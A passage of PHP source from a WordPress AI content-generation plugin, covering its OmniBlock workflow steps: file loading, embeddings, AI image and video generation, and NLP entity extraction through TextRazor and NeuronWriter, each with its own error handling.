                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                            } 
                                            else 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (spinning failed, returned false), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Text Spinning failed - returned false, block ID: ' . $block_id);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (spinning disabled in settings), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Spinning disabled from \'Settings\' menu of the plugin, skipping, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'embeddings')
                                    {
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        $embed_rez = aiomatic_embeddings_result($input_text, $token, '');
                                        if($embed_rez['status'] == 'error')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (embeddings result failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Embeddings result failed, block ID: ' . $block_id . ' embeddings data: ' . print_r($embed_rez, true));
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($embed_rez['data']);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $embed_rez['data']);
                                        }
                                    }
                                    elseif($current_block['type'] == 'load_file')
                                    {
                                        $input_text = $current_block['parameters']['input_text'];
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($input_text == 'random')
                                        {
                                            $omni_files = get_posts([
                                                'post_type' => 'aiomatic_omni_file',
                                                'post_status' => 'publish',
                                                'numberposts' => -1
                                            ]);
                                            if(empty($omni_files))
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (no OmniBlock Files found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('No OmniBlock Files found, block ID: ' . $block_id);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $this_post = $omni_files[array_rand($omni_files)];
                                            }
                                        }
                                        elseif($input_text == 'latest')
                                        {
                                            $omni_files = get_posts([
                                                'post_type' => 'aiomatic_omni_file',
                                                'post_status' => 'publish',
                                                'numberposts' => -1,
                                                'orderby' => 'date',
                                                'order' => 'DESC'
                                            ]);
                                            if(empty($omni_files))
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (no OmniBlock Files found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('No OmniBlock Files found, block ID: ' . $block_id);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                $this_post = reset($omni_files);
                                            }
                                        }
                                        else
                                        {
                                            $this_post = get_post($input_text);
                                        }
                                        if($this_post === null)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (file result failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('File result failed, block ID: ' . $block_id . ' file ID: ' . print_r($input_text, true));
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            $post_urlx = $this_post->post_content;
                                            if(aiomatic_endsWith($post_urlx, '.xlsx'))
                                            {
                                                $items = aiomatic_extract_remote_xlsx($post_urlx, '1');
                                                if($items === false)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Failed to parse xlsx), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to parse xlsx, block ID: ' . $block_id . ' file URL: ' . print_r($post_urlx, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                                if (count($items) == 0) 
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Empty xlsx file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Empty xlsx file, block ID: ' . $block_id . ' file URL: ' . print_r($post_urlx, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($items);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $items);
                                            }
                                            elseif(aiomatic_endsWith($post_urlx, '.pdf'))
                                            {
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) 
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (PDF Parser Extension plugin is not active, please activate it to use this functionality), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Aiomatic Extension - PDF File Storage And Parsing plugin is not active, please activate it to use this functionality');
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                                $htmlc = aiomatic_extension_pdfext_getRemoteFile($post_urlx);
                                                if($htmlc === false)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (Failed to download pdf file), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to download file: ' . $post_urlx);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                                $file_data = '';
                                                $pdf =  new PdfToText();
                                                $pdf->LoadFromString($htmlc);
                                                $page_range = '';
                                                if($page_range == '')
                                                {
                                                    $file_data = $pdf->Text;
                                                }
                                                else
                                                {
                                                    $page_range = array_map('trim', aiomatic_extension_pdfext_extract_range($page_range));
                                                    foreach( $pdf->Pages as $page_number => $page_contents)
                                                    {
                                                        if(count($page_range) == 0)
                                                        {
                                                            break;
                                                        }
                                                        if(in_array($page_number, $page_range))
                                                        {
                                                            $page_range = array_diff($page_range, array($page_number));
                                                            $file_data .= $page_contents;
                                                        }
                                                    }
                                                }
                                                if($file_data === false || empty(trim($file_data)))
                                                {
                                                    $pparser = new \Smalot\PdfParser\Parser();
                                                    $document = $pparser->parseContent($htmlc);
                                                    if($page_range == '')
                                                    {
                                                        $file_data  = $document->getText();
                                                    }
                                                    else
                                                    {
                                                        $page_range = array_map('trim', aiomatic_extension_pdfext_extract_range($page_range));
                                                        $nr = 1;
                                                        $pages  = $document->getPages();
                                                        foreach ($pages as $page) {
                                                            if(count($page_range) == 0)
                                                            {
                                                                break;
                                                            }
                                                            if(in_array($nr, $page_range))
                                                            {
                                                                $page_range = array_diff($page_range, array($nr));
                                                                $file_data .= $page->getText();
                                                            }
                                                            $nr++;
                                                        }
                                                        $pages = count($pages);
                                                    }
                                                }
                                                $file_data = nl2br($file_data);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($file_data);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $file_data);
                                            }
                                            else
                                            {
                                                $file_data = aiomatic_get_web_page($post_urlx);
                                                if($file_data === false)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (file content opening failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to open file content, block ID: ' . $block_id . ' file URL: ' . print_r($post_urlx, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($file_data);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $file_data);
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'dalle_ai_image')
                                    {
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty image prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty image prompt entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $model = $current_block['parameters']['model'];
                                        $image_size = $current_block['parameters']['image_size'];
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Dall-E images'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock Dall-E image');
                                        }
                                        $aierror = '';
                                        $response_text = aiomatic_generate_ai_image($token, 1, $prompt, $image_size, 'omniBlocksWriterDalleImage', false, 0, $aierror, $model);
                                        if($response_text !== false && is_array($response_text))
                                        {
                                            foreach($response_text as $tmpimg)
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($tmpimg);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $tmpimg);
                                                break;
                                            }
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Dall-E error), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Error occurred in Dall-E image generator (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'stable_ai_image')
                                    {
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty image prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty image prompt entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $model = $current_block['parameters']['model'];
                                        $image_size = $current_block['parameters']['image_size'];
                                        if($image_size == '512x512')
                                        {
                                            $width = '512';
                                            $height = '512';
                                        }
                                        elseif($image_size == '1024x1024')
                                        {
                                            $width = '1024';
                                            $height = '1024';
                                        }
                                        else
                                        {
                                            $width = '512';
                                            $height = '512';
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Stable images'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock Stable image');
                                        }
                                        $aierror = '';
                                        $response_text = aiomatic_generate_stability_image($prompt, $height, $width, 'omniBlocksWriterStableImage', 0, false, $aierror, false, $model);
                                        if($response_text !== false && isset($response_text[1]))
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($response_text[1]);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $response_text[1]);
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Stable Diffusion error), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Error occurred in Stable Diffusion image generator (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'midjourney_ai_image')
                                    {
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty image prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty image prompt entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $image_size = $current_block['parameters']['image_size'];
                                        if($image_size == '512x512')
                                        {
                                            $width = '512';
                                            $height = '512';
                                        }
                                        elseif($image_size == '1024x1024')
                                        {
                                            $width = '1024';
                                            $height = '1024';
                                        }
                                        elseif($image_size == '1024x1792')
                                        {
                                            $width = '1024';
                                            $height = '1792';
                                        }
                                        elseif($image_size == '1792x1024')
                                        {
                                            $width = '1792';
                                            $height = '1024';
                                        }
                                        else
                                        {
                                            $width = '512';
                                            $height = '512';
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Midjourney images'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock Midjourney image');
                                        }
                                        $aierror = '';
                                        $response_text = aiomatic_generate_ai_image_midjourney($prompt, $width, $height, 'omniBlocksWriterMidjourneyImage', false, $aierror);
                                        if($response_text !== false)
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($response_text);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $response_text);
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Midjourney error), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Error occurred in Midjourney image generator (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'stable_ai_video')
                                    {
                                        $image_url = $current_block['parameters']['image_url'];
                                        $image_url = aiomatic_replace_omniblocks_data($image_url, $current_keyword, $kiwis, $block_results);
                                        if (empty($image_url)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty video image_url entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty video image_url entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $image_size = $current_block['parameters']['image_size'];
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Stable video'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' for OmniBlock Stable video');
                                        }
                                        $aierror = '';
                                        $response_text = aiomatic_generate_stability_video($image_url, $image_size, 'omniBlocksWriterStableVideo', 0, false, $aierror, false);
                                        if($response_text !== false && isset($response_text[1]))
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($response_text[1]);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $response_text[1]);
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Stable Diffusion video error), as critical block failed (ID ' . esc_html($block_id) . '): error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Error occurred in Stable Diffusion video generator (ID ' . esc_html($block_id) . '): error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'nlp_entities')
                                    {
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        if (empty($input_text)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty input_text entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty input_text entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock NLP Entities With TextRazor'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            aiomatic_log_to_file('Getting TextRazor NLP entities for keyword: ' . $input_text);
                                        }
                                        if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                        {
                                            try
                                            {
                                                if(!class_exists('TextRazor'))
                                                {
                                                    require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                }
                                                TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                $textrazor = new TextRazor();
                                                $textrazor->addExtractor('entities');
                                                $zresponse = $textrazor->analyze($input_text);
                                                if (isset($zresponse['response']['entities'])) 
                                                {
                                                    $query_words_tr = array();
                                                    $entity_details = array();
                                                    foreach ($zresponse['response']['entities'] as $entity) 
                                                    {
                                                        if(isset($entity['entityEnglishId']))
                                                        {
                                                            $query_words_tr[] = $entity['entityEnglishId'];
                                                        }
                                                        else
                                                        {
                                                            $query_words_tr[] = $entity['entityId'];
                                                        }
                                                        if(isset($entity['id']))
                                                        {
                                                            unset($entity['id']);
                                                        }
                                                        if(isset($entity['matchingTokens']))
                                                        {
                                                            unset($entity['matchingTokens']);
                                                        }
                                                        if(isset($entity['freebaseTypes']))
                                                        {
                                                            unset($entity['freebaseTypes']);
                                                        }
                                                        if(isset($entity['confidenceScore']))
                                                        {
                                                            unset($entity['confidenceScore']);
                                                        }
                                                        if(isset($entity['matchedText']))
                                                        {
                                                            unset($entity['matchedText']);
                                                        }
                                                        if(isset($entity['freebaseId']))
                                                        {
                                                            unset($entity['freebaseId']);
                                                        }
                                                        if(isset($entity['relevanceScore']))
                                                        {
                                                            unset($entity['relevanceScore']);
                                                        }
                                                        if(isset($entity['startingPos']))
                                                        {
                                                            unset($entity['startingPos']);
                                                        }
                                                        if(isset($entity['endingPos']))
                                                        {
                                                            unset($entity['endingPos']);
                                                        }
                                                        if(isset($entity['wikidataId']))
                                                        {
                                                            unset($entity['wikidataId']);
                                                        }
                                                        $entity_details[] = $entity;
                                                    }
                                                    if(count($query_words_tr) > 0)
                                                    {
                                                        $wr = implode(',', $query_words_tr);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array($wr, json_encode($entity_details));
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], $wr, json_encode($entity_details));
                                                    }
                                                    else
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (TextRazor no empty found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Empty results found for TextRazor search: ' . print_r($zresponse, true));
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('', '');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type'], '', '');
                                                            continue;
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (TextRazor no results found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('No results found for TextRazor search: ' . print_r($zresponse, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('', '');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '', '');
                                                        continue;
                                                    }
                                                }
                                            }
                                            catch(Exception $e)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (TextRazor exception(2)), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('', '');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '');
                                                    continue;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (TextRazor API key not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('TextRazor API key not added in plugin settings!');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'nlp_entities_neuron')
                                    {
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        $engine = $current_block['parameters']['engine'];
                                        $language = $current_block['parameters']['language'];
                                        if (empty($input_text)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty input_text entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty input_text entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if (empty($engine)) 
                                        {
                                            $engine = 'google.com';
                                        }
                                        if (empty($language)) 
                                        {
                                            $language = 'English';
                                        }
            
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock NLP Entities With NeuronWriter'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            aiomatic_log_to_file('Getting NeuronWriter NLP entities for keyword: ' . $input_text);
                                        }
                                        if(isset($aiomatic_Main_Settings['neuron_key']) && trim($aiomatic_Main_Settings['neuron_key']) != '')
                                        {
                                            if(isset($aiomatic_Main_Settings['neuron_project']) && trim($aiomatic_Main_Settings['neuron_project']) != '')
                                            {
                                                try
                                                {
                                                    if(!class_exists('NeuronWriterAPI'))
                                                    {
                                                        require_once (dirname(__FILE__) . "/res/NeuronWriter.php");
                                                    }
                                                    $appk = trim($aiomatic_Main_Settings['neuron_key']);
                                                    $projid = trim($aiomatic_Main_Settings['neuron_project']);
                                                    $neuronAPI = new NeuronWriterAPI($appk);
                                                    $response = $neuronAPI->createNewQuery($projid, $input_text, $engine, $language);
                                                    $rp = json_decode($response);
                                                    if(!isset($rp->query))
                                                    {
                                                        if($critical == '1')
                                                        {
                                                            aiomatic_log_to_file('Halting execution (Failed to create new query in NeuronWriter), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                            return 'fail';
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to create new query in NeuronWriter: ' . print_r($response, true));
                                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                            {
                                                                return array('', '', '', '', '', '', '', '', '');
                                                            }
                                                            $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                            continue;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $queryId = $rp->query;
                                                        $timeout_max = 300;
                                                        $current_time = 0;
                                                        $qs = false;
                                                        while($current_time <= $timeout_max && $qs === false)
                                                        {
                                                            $qs = $neuronAPI->getQueryStatus($queryId);
                                                            if($qs === false)
                                                            {
                                                                sleep(3);
                                                            }
                                                            $current_time += 3;
                                                        }
                                                        if($current_time > $timeout_max && $qs === false)
                                                        {
                                                            if($critical == '1')
                                                            {
                                                                aiomatic_log_to_file('Halting execution (NeuronWriter timeout), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                                return 'fail';
                                                            }
                                                            else
                                                            {
                                                                aiomatic_log_to_file('NeuronWriter timeout!');
                                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                                {
                                                                    return array('', '', '', '', '', '', '', '', '');
                                                                }
                                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                                continue;
                                                            }
                                                        }
                                                        elseif($qs === false)
                                                        {
                                                            if($critical == '1')
                                                            {
                                                                aiomatic_log_to_file('Halting execution (NeuronWriter critical failure), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                                return 'fail';
                                                            }
                                                            else
                                                            {
                                                                aiomatic_log_to_file('NeuronWriter critical failure');
                                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                                {
                                                                    return array('', '', '', '', '', '', '', '', '');
                                                                }
                                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                                continue;
                                                            }
                                                        }
                                                        else
                                                        {
                                                            if(!isset($qs['terms_txt']['title']))
                                                            {
                                                                if($critical == '1')
                                                                {
                                                                    aiomatic_log_to_file('Halting execution (NeuronWriter failed to interpret results), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                                    return 'fail';
                                                                }
                                                                else
                                                                {
                                                                    aiomatic_log_to_file('NeuronWriter failed to interpret results: ' . print_r($qs, true));
                                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                                    {
                                                                        return array('', '', '', '', '', '', '', '', '');
                                                                    }
                                                                    $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                                    continue;
                                                                }
                                                            }
                                                            else
